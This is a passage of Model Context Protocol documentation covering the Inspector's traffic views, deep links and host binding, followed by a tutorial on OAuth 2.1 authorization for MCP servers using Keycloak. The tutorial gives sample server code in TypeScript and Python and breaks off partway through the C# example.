See [Recipes](/docs/2026-07-28/tools/inspector/recipes#reviewing-an-mcp-app) for the CLI-first automated review flow.
## Protocol, Network, and Console
The three tabs show the same traffic at different levels of detail:
* **Protocol**: the JSON-RPC transcript. Requests paired with responses, notifications inline, [MRTR](/docs/2026-07-28/tools/inspector/protocol-eras#multi-round-tool-results-mrtr) rounds grouped as one conversation, and spec errors rendered by class.
* **Network**: the HTTP layer, for SSE and Streamable HTTP servers. Status codes, request and response headers, and bodies. On modern connections the standardized `Mcp-*` headers are highlighted and sentinel values decoded.
* **Console**: the connected stdio server process's `stderr`, which is where most stdio servers put their own diagnostics.
Secrets are masked in these views, and entries can be cleared or exported.
## Deep links
A driver (a script, a CI harness, or the CLI's [`--print-handoff`](/docs/2026-07-28/tools/inspector/authorization#handing-off-from-the-web-client-to-the-cli)) can reach a *connected* Inspector with a single navigation:
```
http://127.0.0.1:6274/?serverUrl=&transport=http|sse&autoConnect=
```
| Parameter | Meaning |
| ------------- | -------------------------------------------------------------------------------------------------------------- |
| `serverUrl` | The MCP server URL. Restricted to `http:` / `https:`; a crafted `javascript:` or `file:` value is rejected. |
| `transport` | `http` (default) or `sse`. |
| `autoConnect` | **Required CSRF gate.** Must equal the per-launch session token, which only whatever started the server knows. |
Three further parameters land you on a *rendered app*: `openApp=` names the tool, `appArgs=` supplies its arguments (merged over the tool's schema defaults), and `autoOpen=` fires the tool call automatically. Because `autoOpen` fires a call, it carries the same mandatory token gate as `autoConnect`.
## Host binding and origins
By default the Inspector binds `localhost` and accepts requests only from the loopback origins for its port. Treat both defaults as security boundaries, since the backend spawns processes on your machine.
Binding all interfaces (`HOST=0.0.0.0`) is **refused** unless you set `DANGEROUSLY_BIND_ALL_INTERFACES=true`. Binding a *specific* non-loopback address is allowed with no opt-in, since that's a single deliberate exposure rather than every interface at once.
See the [Hosting on a network](/docs/2026-07-28/tools/inspector/recipes#hosting-on-a-network) recipe for the full matrix, and [Configuration](/docs/2026-07-28/tools/inspector/configuration#web-backend-environment-variables) for the variables.
# Understanding Authorization in MCP
Source: https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/authorization
Learn how to implement secure authorization for MCP servers using OAuth 2.1 to protect sensitive resources and operations
Authorization in the Model Context Protocol (MCP) secures access to sensitive resources and operations exposed by MCP servers. If your MCP server handles user data or administrative actions, authorization ensures only permitted users can access its endpoints.
MCP uses standardized authorization flows to build trust between MCP clients and MCP servers. Its design doesn't focus on one specific authorization or identity system, but rather follows the conventions outlined for [OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13). For detailed information, see the [Authorization specification](/specification/latest/basic/authorization).
## When Should You Use Authorization?
While authorization for MCP servers is **optional**, it is strongly recommended when:
* Your server accesses user-specific data (emails, documents, databases)
* You need to audit who performed which actions
* Your server grants access to its APIs that require user consent
* You're building for enterprise environments with strict access controls
* You want to implement rate limiting or usage tracking per user
**Authorization for Local MCP Servers**
For MCP servers using the [STDIO transport](/specification/latest/basic/transports#stdio), you can use environment-based credentials or credentials provided by third-party libraries embedded directly in the MCP server instead. Because a STDIO-built MCP server runs locally, it has access to a range of flexible options when it comes to acquiring user credentials that may or may not rely on in-browser authentication and authorization flows.
OAuth flows, in turn, are designed for HTTP-based transports where the MCP server is remotely-hosted and the client uses OAuth to establish that a user is authorized to access said remote server.
## The Authorization Flow: Step by Step
Let's walk through what happens when a client wants to connect to your protected MCP server:
When your MCP client first tries to connect, your server responds with a `401 Unauthorized` and tells the client where to find authorization information, captured in a [Protected Resource Metadata (PRM) document](https://datatracker.ietf.org/doc/html/rfc9728). The document is hosted by the MCP server, follows a predictable path pattern, and is provided to the client in the `resource_metadata` parameter within the `WWW-Authenticate` header.
```http theme={null}
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="mcp",
resource_metadata="https://your-server.com/.well-known/oauth-protected-resource"
```
This tells the client that authorization is required for the MCP server and where to get the necessary information to kickstart the authorization flow.
With the URI pointer to the PRM document, the client will fetch the metadata to learn about the authorization server, supported scopes, and other resource information. The data is typically encapsulated in a JSON blob, similar to the one below.
```json theme={null}
{
"resource": "https://your-server.com/mcp",
"authorization_servers": ["https://auth.your-server.com"],
"scopes_supported": ["mcp:tools", "mcp:resources"]
}
```
You can see a more comprehensive example in [RFC 9728 Section 3.2](https://datatracker.ietf.org/doc/html/rfc9728#name-protected-resource-metadata-r).
Next, the client discovers what the authorization server can do by fetching its metadata. If the PRM document lists more than one authorization server, the client can decide which one to use.
With an authorization server selected, the client will then construct a standard metadata URI and issue a request to the [OpenID Connect (OIDC) Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) or [OAuth 2.0 Auth Server Metadata](https://datatracker.ietf.org/doc/html/rfc8414) endpoints (depending on authorization server support)
and retrieve another set of metadata properties that will allow it to know the endpoints it needs to complete the authorization flow.
```json theme={null}
{
"issuer": "https://auth.your-server.com",
"authorization_endpoint": "https://auth.your-server.com/authorize",
"token_endpoint": "https://auth.your-server.com/token",
"registration_endpoint": "https://auth.your-server.com/register"
}
```
With all the metadata out of the way, the client now needs to make sure that it's registered with the authorization server. This can be done in two ways.
First, the client can be **pre-registered** with a given authorization server, in which case it can have embedded client registration information that it uses to complete the authorization flow.
Alternatively, the client can use **Dynamic Client Registration** (DCR) to dynamically register itself with the authorization server. The latter scenario requires the authorization server to support DCR. If the authorization server does support DCR, the client will send a request to the `registration_endpoint` with its information:
```json theme={null}
{
"client_name": "My MCP Client",
"redirect_uris": ["http://localhost:3000/callback"],
"grant_types": ["authorization_code", "refresh_token"],
"response_types": ["code"]
}
```
If the registration succeeds, the authorization server will return a JSON blob with client registration information.
**No DCR or Pre-Registration**
In case an MCP client connects to an MCP server that doesn't use an authorization server that supports DCR and the client is not pre-registered with said authorization server, it's the responsibility of the client developer to provide an affordance for the end-user to enter client information manually.
The client will now need to open a browser to the `/authorize` endpoint, where the user can log in and grant the required permissions. The authorization server will then redirect back to the client with an authorization code that the client exchanges for tokens:
```json theme={null}
{
"access_token": "eyJhbGciOiJSUzI1NiIs...",
"refresh_token": "def502...",
"token_type": "Bearer",
"expires_in": 3600
}
```
The access token is what the client will use to authenticate requests to the MCP server. This step follows standard [OAuth 2.1 authorization code with PKCE](https://oauth.net/2/grant-types/authorization-code/) conventions.
Finally, the client can make requests to your MCP server using the access token embedded in the `Authorization` header:
```http theme={null}
GET /mcp HTTP/1.1
Host: your-server.com
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
```
The MCP server will need to validate the token and process the request if the token is valid and has the required permissions.
## Implementation Example
To get started with a practical implementation, we will use a [Keycloak](https://www.keycloak.org/) authorization server hosted in a Docker container. Keycloak is an open-source authorization server that can be easily deployed locally for testing and experimentation.
Make sure that you download and install [Docker Desktop](https://www.docker.com/products/docker-desktop/). We will need it to deploy Keycloak on our development machine.
### Keycloak Setup
From your terminal application, run the following command to start the Keycloak container:
```bash theme={null}
docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak start-dev
```
This command will pull the Keycloak container image locally and bootstrap the basic configuration. It will run on port `8080` and have an `admin` user with `admin` password.
**Not for Production**
The configuration above may be suitable for testing and experimentation; however, you should never use it in production. Refer to the [Configuring Keycloak for production](https://www.keycloak.org/server/configuration-production) guide for additional details on how to deploy the authorization server for scenarios that require reliability, security, and high availability.
You will be able to access the Keycloak authorization server from your browser at `http://localhost:8080`.
When running with the default configuration, Keycloak will already support many of the capabilities that we need for MCP servers, including Dynamic Client Registration. You can check this by looking at the OIDC configuration, available at:
```http theme={null}
http://localhost:8080/realms/master/.well-known/openid-configuration
```
We will also need to set up Keycloak to support our scopes and allow our host (local machine) to dynamically register clients, as the default policies restrict anonymous dynamic client registration.
Go to **Client scopes** in the Keycloak dashboard and create a new `mcp:tools` scope. We will use this to access all of the tools on our MCP server.
After creating the scope, make sure that you assign its type to **Default** and have flipped the **Include in token scope** switch, as this will be needed for token validation.
Let's now also set up an **audience** for our Keycloak-issued tokens. An audience is important to configure because it embeds the intended destination directly into the issued access token. This helps your MCP server to verify that the token it got was actually meant for it rather than some other API. This is key to help avoid token passthrough scenarios.
To do this, open your `mcp:tools` client scope and click on **Mappers**, followed by **Configure a new mapper**. Select **Audience**.
For **Name**, use `audience-config`. Add a value for **Included Custom Audience**, set to `http://localhost:3000`. This will be the URI of our test server.
**Not for Production**
The audience configuration above is meant for testing. For production scenarios, additional set-up and configuration will be required to ensure that audiences are properly constrained for issued tokens. Specifically, the audience needs to be based on the resource parameter passed from the client, not a fixed value.
Now, navigate to **Clients**, then **Client registration**, and then **Trusted Hosts**. Disable the **Client URIs Must Match** setting and add the hosts from which you're testing. You can get your current host IP by running the `ifconfig` command on Linux or macOS, or `ipconfig` on Windows. You can see the IP address you need to add by looking at the keycloak logs for a line that looks like `Failed to verify remote host : 192.168.215.1`. Check that the IP address is associated with your host. This may be for a bridge network depending on your docker setup.
**Getting the Host**
If you are running Keycloak from a container, you will also be able to see the host IP from the Terminal in the container logs.
Lastly, we need to register a new client that we can use with the **MCP server itself** to talk to Keycloak for things like [token introspection](https://oauth.net/2/token-introspection/). To do that:
1. Go to **Clients**.
2. Click **Create client**.
3. Give your client a unique **Client ID** and click **Next**.
4. Enable **Client authentication** and click **Next**.
5. Click **Save**.
Worth noting that token introspection is just *one of* the available approaches to validate tokens. This can also be done with the help of standalone libraries, specific to each language and platform.
When you open the client details, go to **Credentials** and take note of the **Client Secret**.
**Handling Secrets**
Never embed client credentials directly in your code. We recommend using environment variables or specialized solutions for secret storage.
With Keycloak configured, every time the authorization flow is triggered, your MCP server will receive a token like this:
```text theme={null}
eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICI1TjcxMGw1WW5MWk13WGZ1VlJKWGtCS3ZZMzZzb3JnRG5scmlyZ2tlTHlzIn0.eyJleHAiOjE3NTU1NDA4MTcsImlhdCI6MTc1NTU0MDc1NywiYXV0aF90aW1lIjoxNzU1NTM4ODg4LCJqdGkiOiJvbnJ0YWM6YjM0MDgwZmYtODQwNC02ODY3LTgxYmUtMTIzMWI1MDU5M2E4IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAiLCJzdWIiOiIzM2VkNmM2Yi1jNmUwLTQ5MjgtYTE2MS1mMmY2OWM3YTAzYjkiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiI3OTc1YTViNi04YjU5LTRhODUtOWNiYS04ZmFlYmRhYjg5NzQiLCJzaWQiOiI4ZjdlYzI3Ni0zNThmLTRjY2MtYjMxMy1kYjA4MjkwZjM3NmYiLCJzY29wZSI6Im1jcDp0b29scyJ9.P5xCRtXORly0R0EXjyqRCUx-z3J4uAOWNAvYtLPXroykZuVCCJ-K1haiQSwbURqfsVOMbL7jiV-sD6miuPzI1tmKOkN_Yct0Vp-azvj7U5rEj7U6tvPfMkg2Uj_jrIX0KOskyU2pVvGZ-5BgqaSvwTEdsGu_V3_E0xDuSBq2uj_wmhqiyTFm5lJ1WkM3Hnxxx1_AAnTj7iOKMFZ4VCwMmk8hhSC7clnDauORc0sutxiJuYUZzxNiNPkmNeQtMCGqWdP1igcbWbrfnNXhJ6NswBOuRbh97_QraET3hl-CNmyS6C72Xc0aOwR_uJ7xVSBTD02OaQ1JA6kjCATz30kGYg
```
Decoded, it will look like this:
```json theme={null}
{
"alg": "RS256",
"typ": "JWT",
"kid": "5N710l5YnLZMwXfuVRJXkBKvY36sorgDnlrirgkeLys"
}.{
"exp": 1755540817,
"iat": 1755540757,
"auth_time": 1755538888,
"jti": "onrtac:b34080ff-8404-6867-81be-1231b50593a8",
"iss": "http://localhost:8080/realms/master",
"aud": "http://localhost:3000",
"sub": "33ed6c6b-c6e0-4928-a161-f2f69c7a03b9",
"typ": "Bearer",
"azp": "7975a5b6-8b59-4a85-9cba-8faebdab8974",
"sid": "8f7ec276-358f-4ccc-b313-db08290f376f",
"scope": "mcp:tools"
}.[Signature]
```
**Embedded Audience**
Notice the `aud` claim embedded in the token - it's currently set to be the URI of the test MCP server and it's inferred from the scope that we've previously configured. This will be important in our implementation to validate.
### MCP Server Setup
We will now set up our MCP server to use the locally-running Keycloak authorization server. Depending on your programming language preference, you can use one of the supported [MCP SDKs](/docs/2026-07-28/sdk).
For our testing purposes, we will create an extremely simple MCP server that exposes two tools - one for addition and another for multiplication. The server will require authorization to access these.
You can see the complete TypeScript project in the [sample repository](https://github.com/localden/min-ts-mcp-auth).
Prior to running the code below, ensure that you have a `.env` file with the following content:
```env theme={null}
# Server host/port
HOST=localhost
PORT=3000
# Auth server location
AUTH_HOST=localhost
AUTH_PORT=8080
AUTH_REALM=master
# Keycloak OAuth client credentials
OAUTH_CLIENT_ID=
OAUTH_CLIENT_SECRET=
```
`OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier.
In addition to implementing the MCP authorization specification, the server below also does token introspection via Keycloak to make sure that the token it receives from the client is valid. It also implements basic logging to allow you to easily diagnose any issues.
```typescript theme={null}
import "dotenv/config";
import express from "express";
import { randomUUID } from "node:crypto";
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js";
import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js";
import { z } from "zod";
import cors from "cors";
import {
mcpAuthMetadataRouter,
getOAuthProtectedResourceMetadataUrl,
} from "@modelcontextprotocol/sdk/server/auth/router.js";
import { requireBearerAuth } from "@modelcontextprotocol/sdk/server/auth/middleware/bearerAuth.js";
import { OAuthMetadata } from "@modelcontextprotocol/sdk/shared/auth.js";
import { checkResourceAllowed } from "@modelcontextprotocol/sdk/shared/auth-utils.js";
const CONFIG = {
host: process.env.HOST || "localhost",
port: Number(process.env.PORT) || 3000,
auth: {
host: process.env.AUTH_HOST || process.env.HOST || "localhost",
port: Number(process.env.AUTH_PORT) || 8080,
realm: process.env.AUTH_REALM || "master",
clientId: process.env.OAUTH_CLIENT_ID || "mcp-server",
clientSecret: process.env.OAUTH_CLIENT_SECRET || "",
},
};
function createOAuthUrls() {
const authBaseUrl = new URL(
`http://${CONFIG.auth.host}:${CONFIG.auth.port}/realms/${CONFIG.auth.realm}/`,
);
return {
issuer: authBaseUrl.toString(),
introspection_endpoint: new URL(
"protocol/openid-connect/token/introspect",
authBaseUrl,
).toString(),
authorization_endpoint: new URL(
"protocol/openid-connect/auth",
authBaseUrl,
).toString(),
token_endpoint: new URL(
"protocol/openid-connect/token",
authBaseUrl,
).toString(),
};
}
function createRequestLogger() {
return (req: any, res: any, next: any) => {
const start = Date.now();
res.on("finish", () => {
const ms = Date.now() - start;
console.log(
`${req.method} ${req.originalUrl} -> ${res.statusCode} ${ms}ms`,
);
});
next();
};
}
const app = express();
app.use(
express.json({
verify: (req: any, _res, buf) => {
req.rawBody = buf?.toString() ?? "";
},
}),
);
app.use(
cors({
origin: "*",
exposedHeaders: ["Mcp-Session-Id"],
}),
);
app.use(createRequestLogger());
const mcpServerUrl = new URL(`http://${CONFIG.host}:${CONFIG.port}`);
const oauthUrls = createOAuthUrls();
const oauthMetadata: OAuthMetadata = {
...oauthUrls,
response_types_supported: ["code"],
};
const tokenVerifier = {
verifyAccessToken: async (token: string) => {
const endpoint = oauthMetadata.introspection_endpoint;
if (!endpoint) {
console.error("[auth] no introspection endpoint in metadata");
throw new Error("No token verification endpoint available in metadata");
}
const params = new URLSearchParams({
token: token,
client_id: CONFIG.auth.clientId,
});
if (CONFIG.auth.clientSecret) {
params.set("client_secret", CONFIG.auth.clientSecret);
}
let response: Response;
try {
response = await fetch(endpoint, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body: params.toString(),
});
} catch (e) {
console.error("[auth] introspection fetch threw", e);
throw e;
}
if (!response.ok) {
const txt = await response.text();
console.error("[auth] introspection non-OK", { status: response.status });
try {
const obj = JSON.parse(txt);
console.log(JSON.stringify(obj, null, 2));
} catch {
console.error(txt);
}
throw new Error(`Invalid or expired token: ${txt}`);
}
let data: any;
try {
data = await response.json();
} catch (e) {
const txt = await response.text();
console.error("[auth] failed to parse introspection JSON", {
error: String(e),
body: txt,
});
throw e;
}
if (data.active === false) {
throw new Error("Inactive token");
}
if (!data.aud) {
throw new Error("Resource indicator (aud) missing");
}
const audiences: string[] = Array.isArray(data.aud) ? data.aud : [data.aud];
const allowed = audiences.some((a) => {
try {
return checkResourceAllowed({
requestedResource: a,
configuredResource: mcpServerUrl,
});
} catch {
// Keycloak tokens include non-URL audiences (e.g. "account", "test-client").
// Those are never our resource, so treat them as "no match" instead of crashing.
return false;
}
});
if (!allowed) {
throw new Error(
`None of the provided audiences are allowed. Expected ${mcpServerUrl}, got: ${audiences.join(", ")}`,
);
}
return {
token,
clientId: data.client_id,
scopes: data.scope ? data.scope.split(" ") : [],
expiresAt: data.exp,
};
},
};
app.use(
mcpAuthMetadataRouter({
oauthMetadata,
resourceServerUrl: mcpServerUrl,
scopesSupported: ["mcp:tools"],
resourceName: "MCP Demo Server",
}),
);
const authMiddleware = requireBearerAuth({
verifier: tokenVerifier,
requiredScopes: [],
resourceMetadataUrl: getOAuthProtectedResourceMetadataUrl(mcpServerUrl),
});
const transports: { [sessionId: string]: StreamableHTTPServerTransport } = {};
function createMcpServer() {
const server = new McpServer({
name: "example-server",
version: "1.0.0",
});
server.registerTool(
"add",
{
title: "Addition Tool",
description: "Add two numbers together",
inputSchema: {
a: z.number().describe("First number to add"),
b: z.number().describe("Second number to add"),
},
},
async ({ a, b }) => ({
content: [{ type: "text", text: `${a} + ${b} = ${a + b}` }],
}),
);
server.registerTool(
"multiply",
{
title: "Multiplication Tool",
description: "Multiply two numbers together",
inputSchema: {
x: z.number().describe("First number to multiply"),
y: z.number().describe("Second number to multiply"),
},
},
async ({ x, y }) => ({
content: [{ type: "text", text: `${x} × ${y} = ${x * y}` }],
}),
);
return server;
}
const mcpPostHandler = async (req: express.Request, res: express.Response) => {
const sessionId = req.headers["mcp-session-id"] as string | undefined;
let transport: StreamableHTTPServerTransport;
if (sessionId && transports[sessionId]) {
transport = transports[sessionId];
} else if (!sessionId && isInitializeRequest(req.body)) {
transport = new StreamableHTTPServerTransport({
sessionIdGenerator: () => randomUUID(),
onsessioninitialized: (sessionId) => {
transports[sessionId] = transport;
},
});
transport.onclose = () => {
if (transport.sessionId) {
delete transports[transport.sessionId];
}
};
const server = createMcpServer();
await server.connect(transport);
} else {
res.status(400).json({
jsonrpc: "2.0",
error: {
code: -32000,
message: "Bad Request: No valid session ID provided",
},
id: null,
});
return;
}
await transport.handleRequest(req, res, req.body);
};
const handleSessionRequest = async (
req: express.Request,
res: express.Response,
) => {
const sessionId = req.headers["mcp-session-id"] as string | undefined;
if (!sessionId || !transports[sessionId]) {
res.status(400).send("Invalid or missing session ID");
return;
}
const transport = transports[sessionId];
await transport.handleRequest(req, res);
};
app.post("/", authMiddleware, mcpPostHandler);
app.get("/", authMiddleware, handleSessionRequest);
app.delete("/", authMiddleware, handleSessionRequest);
app.listen(CONFIG.port, CONFIG.host, () => {
console.log(`🚀 MCP Server running on ${mcpServerUrl.origin}`);
console.log(`📡 MCP endpoint available at ${mcpServerUrl.origin}`);
console.log(
`🔐 OAuth metadata available at ${getOAuthProtectedResourceMetadataUrl(mcpServerUrl)}`,
);
});
```
When you run the server, you can add it to your MCP client, such as Visual Studio Code, by providing the MCP server endpoint.
For more details about implementing MCP servers in TypeScript, refer to the [TypeScript SDK documentation](https://github.com/modelcontextprotocol/typescript-sdk).
You can see the complete Python project in the [sample repository](https://github.com/modelcontextprotocol/python-sdk/tree/main/examples/servers/simple-auth).
To simplify our authorization interaction, in Python scenarios we rely on the `MCPServer` class from the [Python SDK](https://py.sdk.modelcontextprotocol.io/v2/run/authorization/). It publishes the Protected Resource Metadata document, answers unauthenticated requests with a `401` whose `WWW-Authenticate` header points back at that document, and hands every bearer token to a verifier that we supply. Many of the conventions around authorization, like the endpoints and token validation logic, are consistent across languages, but some offer simpler ways of integrating them in production scenarios.
Prior to writing the actual server, we need to set up our configuration in `config.py` - the contents are entirely based on your local server setup:
```python theme={null}
"""Configuration settings for the MCP auth server."""
import os
class Config:
"""Configuration class that loads from environment variables with sensible defaults."""
# Server settings
HOST: str = os.getenv("HOST", "localhost")
PORT: int = int(os.getenv("PORT", "3000"))
# Auth server settings
AUTH_HOST: str = os.getenv("AUTH_HOST", "localhost")
AUTH_PORT: int = int(os.getenv("AUTH_PORT", "8080"))
AUTH_REALM: str = os.getenv("AUTH_REALM", "master")
# OAuth client settings
OAUTH_CLIENT_ID: str = os.getenv("OAUTH_CLIENT_ID", "test-client")
OAUTH_CLIENT_SECRET: str = os.getenv("OAUTH_CLIENT_SECRET", "")
# Scope required on every token
MCP_SCOPE: str = os.getenv("MCP_SCOPE", "mcp:tools")
@property
def server_url(self) -> str:
"""Build the server URL."""
return f"http://{self.HOST}:{self.PORT}"
@property
def auth_base_url(self) -> str:
"""Build the auth server base URL."""
return f"http://{self.AUTH_HOST}:{self.AUTH_PORT}/realms/{self.AUTH_REALM}/"
# Global configuration instance
config = Config()
```
`OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier. Set them in your environment before starting the server.
The server implementation is as follows:
```python theme={null}
import datetime
import logging
from typing import Any
from urllib.parse import urljoin
from pydantic import AnyHttpUrl
from mcp.server import MCPServer
from mcp.server.auth.settings import AuthSettings
from .config import config
from .token_verifier import IntrospectionTokenVerifier
logger = logging.getLogger(__name__)
def create_oauth_urls() -> dict[str, str]:
"""Create OAuth URLs based on configuration (Keycloak-style)."""
auth_base_url = config.auth_base_url
return {
"issuer": auth_base_url,
"introspection_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token/introspect"),
"authorization_endpoint": urljoin(auth_base_url, "protocol/openid-connect/auth"),
"token_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token"),
}
def create_server() -> MCPServer:
"""Create and configure the MCP server."""
oauth_urls = create_oauth_urls()
token_verifier = IntrospectionTokenVerifier(
introspection_endpoint=oauth_urls["introspection_endpoint"],
server_url=config.server_url,
client_id=config.OAUTH_CLIENT_ID,
client_secret=config.OAUTH_CLIENT_SECRET,
)
app = MCPServer(
name="MCP Resource Server",
instructions="Resource Server that validates tokens via Authorization Server introspection",
debug=True,
token_verifier=token_verifier,
auth=AuthSettings(
issuer_url=AnyHttpUrl(oauth_urls["issuer"]),
required_scopes=[config.MCP_SCOPE],
resource_server_url=AnyHttpUrl(config.server_url),
),
)
@app.tool()
async def add_numbers(a: float, b: float) -> dict[str, Any]:
"""
Add two numbers together.
This tool demonstrates basic arithmetic operations with OAuth authentication.
Args:
a: The first number to add
b: The second number to add
"""
result = a + b
return {
"operation": "addition",
"operand_a": a,
"operand_b": b,
"result": result,
"timestamp": datetime.datetime.now().isoformat(),
}
@app.tool()
async def multiply_numbers(x: float, y: float) -> dict[str, Any]:
"""
Multiply two numbers together.
This tool demonstrates basic arithmetic operations with OAuth authentication.
Args:
x: The first number to multiply
y: The second number to multiply
"""
result = x * y
return {
"operation": "multiplication",
"operand_x": x,
"operand_y": y,
"result": result,
"timestamp": datetime.datetime.now().isoformat(),
}
return app
def main() -> int:
"""
Run the MCP Resource Server.
This server:
- Provides RFC 9728 Protected Resource Metadata
- Validates tokens via Authorization Server introspection
- Serves MCP tools requiring authentication
Configuration is loaded from config.py and environment variables.
"""
logging.basicConfig(level=logging.INFO)
oauth_urls = create_oauth_urls()
try:
mcp_server = create_server()
logger.info("Starting MCP Server on %s:%s", config.HOST, config.PORT)
logger.info("Authorization Server: %s", oauth_urls["issuer"])
mcp_server.run(
transport="streamable-http",
host=config.HOST,
port=config.PORT,
streamable_http_path="/",
)
return 0
except Exception:
logger.exception("Server error")
return 1
if __name__ == "__main__":
exit(main())
```
Lastly, the token verification logic is delegated entirely to `token_verifier.py`, ensuring that we can use the Keycloak introspection endpoint to verify the validity of any credential artifacts.
```python theme={null}
"""Token verifier implementation using OAuth 2.0 Token Introspection (RFC 7662)."""
import logging
from typing import Any
import httpx2
from mcp.server.auth.provider import AccessToken, TokenVerifier
from mcp.shared.auth_utils import check_resource_allowed, resource_url_from_server_url
logger = logging.getLogger(__name__)
class IntrospectionTokenVerifier(TokenVerifier):
"""Token verifier that uses OAuth 2.0 Token Introspection (RFC 7662)."""
def __init__(
self,
introspection_endpoint: str,
server_url: str,
client_id: str,
client_secret: str,
):
self.introspection_endpoint = introspection_endpoint
self.server_url = server_url
self.client_id = client_id
self.client_secret = client_secret
self.resource_url = resource_url_from_server_url(server_url)
async def verify_token(self, token: str) -> AccessToken | None:
"""Verify token via introspection endpoint."""
if not self.introspection_endpoint.startswith(("https://", "http://localhost", "http://127.0.0.1")):
return None
timeout = httpx2.Timeout(10.0, connect=5.0)
limits = httpx2.Limits(max_connections=10, max_keepalive_connections=5)
async with httpx2.AsyncClient(
timeout=timeout,
limits=limits,
verify=True,
) as client:
try:
form_data = {
"token": token,
"client_id": self.client_id,
}
# Only send client_secret when one is configured
# Public clients authenticate with client_id alone.
if self.client_secret:
form_data["client_secret"] = self.client_secret
headers = {"Content-Type": "application/x-www-form-urlencoded"}
response = await client.post(
self.introspection_endpoint,
data=form_data,
headers=headers,
)
if response.status_code != 200:
return None
data = response.json()
if not data.get("active", False):
return None
if not self._validate_resource(data):
return None
return AccessToken(
token=token,
client_id=data.get("client_id", "unknown"),
scopes=data.get("scope", "").split() if data.get("scope") else [],
expires_at=data.get("exp"),
# AccessToken.resource is `str | None`. Keycloak returns `aud`
# as a *list* here (e.g. ["test-client", "http://localhost:3000",
# "account"]); passing that list straight in raises a pydantic
# ValidationError that the broad `except` below turns into a
# silent 401. We already confirmed this server's resource is a
# valid audience in `_validate_resource`, so record that.
resource=self.resource_url,
subject=data.get("sub"), # RFC 7662 subject (resource owner)
claims=data,
)
except Exception:
logger.exception("Token introspection failed")
return None
def _validate_resource(self, token_data: dict[str, Any]) -> bool:
"""Validate token was issued for this resource server.
Rules:
- Reject if 'aud' missing.
- Accept if any audience entry matches the derived resource URL.
- Supports string or list forms per JWT spec.
"""
if not self.server_url or not self.resource_url:
return False
aud: list[str] | str | None = token_data.get("aud")
if isinstance(aud, list):
return any(self._is_valid_resource(a) for a in aud)
if isinstance(aud, str):
return self._is_valid_resource(aud)
return False
def _is_valid_resource(self, resource: str) -> bool:
"""Check if the given resource matches our server."""
return check_resource_allowed(requested_resource=self.resource_url, configured_resource=resource)
```
For more details, see below or the [Python SDK documentation](https://github.com/modelcontextprotocol/python-sdk).
**Python MCP Server**
In the server's root have a `pyproject.toml` file and a `mcp_server` folder. Put all the Python files in the `mcp_server` folder, and fill the `pyproject.toml` file like:
```toml theme={null}
[project]
name = "mcp-simple-auth"
version = "0.1.0"
description = "A simple MCP server demonstrating OAuth authentication"
requires-python = ">=3.10"
authors = [{ name = "Model Context Protocol a Series of LF Projects, LLC." }]
license = { text = "MIT" }
dependencies = [
"httpx2>=2.5.0",
"mcp>=2.0.0rc1",
"pydantic>=2.0",
]
[project.scripts]
mcp-simple-auth-rs = "mcp_server.server:main"
[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"
[tool.hatch.build.targets.wheel]
packages = ["mcp_server"]
[dependency-groups]
dev = ["pyright>=1.1.391", "pytest>=8.3.4", "ruff>=0.8.5"]
```
Then run the commands below to start the server.
```bash theme={null}
uv sync
uv run mcp-simple-auth-rs
```
You can see the complete C# project in the [sample repository](https://github.com/localden/min-cs-mcp-auth).
To set up authorization in your MCP server using the MCP C# SDK, you can lean on the standard ASP.NET Core builder pattern. Instead of using the introspection endpoint provided by Keycloak, we will use built-in ASP.NET Core capabilities for token validation.
In the root of your server folder, create two files, `Program.cs` and `ProtectedMcpServer.csproj`, and a `Tools` folder. Fill `Program.cs` with:
```csharp theme={null}
using Microsoft.AspNetCore.Authentication.JwtBearer;
using Microsoft.IdentityModel.Tokens;
using ModelContextProtocol.AspNetCore.Authentication;
using ProtectedMcpServer.Tools;
using System.Security.Claims;
var builder = WebApplication.CreateBuilder(args);
var serverUrl = "http://localhost:3000/";
var authorizationServerUrl = "http://localhost:8080/realms/master/";
builder.Services.AddAuthentication(options =>
{
options.DefaultChallengeScheme = McpAuthenticationDefaults.AuthenticationScheme;
options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
})
.AddJwtBearer(options =>
{
options.Authority = authorizationServerUrl;
var normalizedServerAudience = serverUrl.TrimEnd('/');
options.TokenValidationParameters = new TokenValidationParameters
{
ValidIssuer = authorizationServerUrl,
ValidAudiences = new[] { normalizedServerAudience, serverUrl },
AudienceValidator = (audiences, securityToken, validationParameters) =>
{
if (audiences == null) return false;
foreach (var aud in audiences)
{
if (string.Equals(aud.TrimEnd('/'), normalizedServerAudience, StringComparison.OrdinalIgnoreCase))
{
return true;
}
}
return false;
}
};
options.RequireHttpsMetadata = false; // Set to true in production
options.Events = new JwtBearerEvents
{
OnTokenValidated = context =>
{
var name = context.Principal?.Identity?.Name ?? "unknown";
var email = context.Principal?.FindFirstValue("preferred_username") ?? "unknown";
Console.WriteLine($"Token validated for: {name} ({email})");
return Task.CompletedTask;
},
OnAuthenticationFailed = context =>
{
Console.WriteLine($"Authentication failed: {context.Exception.Message}");
return Task.CompletedTask;
},
};
})
.AddMcp(options =>
{
options.ResourceMetadata = new()
{
Resource = serverUrl,
ResourceDocumentation = "https://docs.example.com/api/math",
AuthorizationServers = { authorizationServerUrl },
